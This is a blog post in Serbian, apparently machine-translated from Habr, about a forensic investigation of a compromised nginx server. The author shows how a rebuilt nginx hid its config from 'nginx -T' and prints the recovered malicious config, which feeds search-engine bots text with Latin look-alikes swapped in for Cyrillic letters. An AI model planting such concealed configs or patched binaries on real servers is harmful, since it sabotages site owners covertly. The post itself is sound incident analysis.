Kada 'a' nije jednako 'a'. Na tragu haka

Jednom od mojih prijatelja dogodila se najneprijatna priča. Ali koliko god se ispostavilo da je to bilo neprijatno za Mihaila, meni je bilo jednako zabavno.

Moram reći da je moj prijatelj prilično UNIX-korisnik: može sam instalirati sistem mysql, PHP i napravite jednostavna podešavanja nginx.
I on ima desetak ili jedan i po web stranica posvećenih građevinskim alatima.

Jedna od ovih stranica posvećena motornim pilama čvrsto se nalazi u TOP pretraživača. Ova stranica je nekomercijalni recenzent, ali neko je stekao naviku da je napada. To DDoS, pa gruba sila, pa pišu nepristojne komentare i šalju zloupotrebe na hosting i na RKN.
Odjednom se sve smirilo i pokazalo se da ovo smirenje nije dobro, a stranica je počela postepeno da napušta prve redove rezultata pretrage.

Kada 'a' nije jednako 'a'. Nakon hakovanja

To je bila izreka, a onda i sama adminova priča.

Bližilo se vrijeme za spavanje kada je zazvonio telefon: „San, hoćeš li pogledati moj server? Čini mi se da sam hakovan, ne mogu da dokažem, ali osećaj me ne napušta već treću nedelju. Možda je samo vrijeme da se liječim od paranoje?"

Uslijedila je polusatna diskusija koja se može sažeti na sljedeći način:

  • tlo za hakovanje bilo je prilično plodno;
  • napadač bi mogao dobiti prava superkorisnika;
  • napad (ako se dogodio) bio je ciljano usmjeren na ovo mjesto;
  • problematična područja su ispravljena i samo trebate razumjeti da li je bilo prodora;
  • hak nije mogao da utiče na kod sajta i baze podataka.

Što se tiče poslednje tačke.

Kada 'a' nije jednako 'a'. Nakon hakovanja

Samo bijeli frontend IP gleda u svijet. Nema razmjene između backenda i frontenda osim http(ova), korisnici/lozinke su različite, ključevi nisu razmijenjeni. Na sivim adresama, svi portovi osim 80/443 su zatvoreni. Bijele pozadinske IP adrese poznate su samo dvojici korisnika, kojima Mihail potpuno vjeruje.

Instaliran na frontend Debian 9 i do trenutka kada je poziv upućen, sistem je izolovan od sveta spoljnim zaštitnim zidom i zaustavljen.

„U redu, dajte mi pristup“, odlučujem da odložim san na sat vremena. “Videću svojim očima.”

Ovdje i dalje:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Traži se mogući hak

Pokrećem server, prvi ulazi rescue-mode. Montiram diskove i prelistavam ih auth-trupci, istorija, sistemske logove itd., ako je moguće, provjeravam datume kreiranja fajla, mada razumijem da bi običan kreker "pomeo" za sobom, a Miša je već dosta "gazio" dok je tražio sebe .

Pokrećem u normalnom režimu, još ne razumem šta da tražim, proučavam konfiguracije. Prije svega, zanima me nginx pošto, generalno, ne postoji ništa drugo na frontendu osim njega.
Konfiguracije su male, dobro strukturirane u desetak fajlova, samo ih pregledam mačka'oh jedan po jedan. Čini se da je sve čisto, ali nikad se ne zna da li sam nešto propustio uključiti, dozvolite mi da napravim potpunu listu:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Nisam razumio: "Gdje je popis?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Drugo pitanje se dodaje na pitanje o listi: "Zašto tako drevna verzija nginxa?"

Osim toga, sistem vjeruje da je instalirana najnovija verzija:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

zovem:
- Miša, zašto si ponovo sastavio nginx?
- Čekaj, ne znam ni kako da ovo uradim!
- Dobro, pa, idi na spavanje...

Nginx jasno je ponovo izgrađen i izlaz listinga koji koristi “-T” je skriven s razlogom. Više nema sumnje oko hakovanja i možete to jednostavno prihvatiti i (pošto je Miša ionako zamijenio server novim) smatrati da je problem riješen.

I zaista, pošto je neko dobio prava korijen'ah, onda to jedino ima smisla učiniti reinstalirati sistem, i beskorisno je bilo tražiti šta tu nije u redu, ali ovaj put radoznalost je pobijedila san. Kako da saznamo šta su hteli da sakriju od nas?

Pokušajmo ući u trag:

$ strace nginx -T

Gledamo, očito nema dovoljno linija u tragu a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Iz zabave, uporedimo nalaze.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Mislim da je deo kodeksa /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

doveden je u formu:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ili

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

stoga se lista sa "-T" ne prikazuje.

Ali kako možemo vidjeti našu konfiguraciju?

Ako je moja misao tačna i problem je samo u varijabli ngx_dump_config hajde da probamo da ga instaliramo koristeći gdb, srećom postoji ključ --with-cc-opt -g predstaviti i nadamo se da će optimizacija -O2 neće nam škoditi. Istovremeno, pošto ne znam kako ngx_dump_config mogao biti obrađen u slučaj 'T':, nećemo zvati ovaj blok, već ga instalirati koristeći slučaj 't':

Zašto možete koristiti '-t' kao i '-T'Obrada blokova if(ngx_dump_config) dešava se unutra if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Naravno, ako se šifra promijeni u ovom dijelu, a ne u slučaj 'T':, onda moja metoda neće raditi.

Testirajte nginx.confNakon što je problem već eksperimentalno riješen, ustanovljeno je da je potrebna minimalna konfiguracija da bi zlonamjerni softver radio nginx tip:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Koristit ćemo ga radi sažetosti u članku.

Pokrenite program za otklanjanje grešaka

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

U koracima:

  • postaviti tačku prekida u funkciji glavni ()
  • pokrenuti program
  • promijenite vrijednost varijable koja određuje izlaz konfiguracije ngx_dump_config=1
  • nastaviti/završiti program

Kao što vidimo, prava konfiguracija se razlikuje od naše, iz nje biramo parazitski komad:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Pogledajmo redom šta se ovde dešava.

Odlučan Korisnički agent's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Stranice usluga su isključene wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

I za one koji potpadaju pod oba gore navedena uslova

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

u tekstu HTML-stranice se mijenjaju 'O' na 'o' и 'A' na 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Tako je, jedina suptilnost je to 'a' != 'a' baš kao 'o' != 'o':

Kada 'a' nije jednako 'a'. Nakon hakovanja

Tako botovi pretraživača umesto normalnog 100% ćiriličnog teksta dobijaju modifikovano smeće razvodnjeno latinicom 'a' и 'o'. Ne usuđujem se da raspravljam o tome kako ovo utiče na SEO, ali je malo verovatno da će takva zbrka slova imati pozitivan uticaj na pozicije u rezultatima pretrage.

Šta reći, momci sa maštom.

reference

Otklanjanje grešaka sa GDB
gdb(1) — Linux man stranica
strace(1) — Linux man stranica
Nginx - Modul ngx_http_sub_module
O pilama, motornim i električnim pilama

izvor: www.habr.com

Dodajte komentar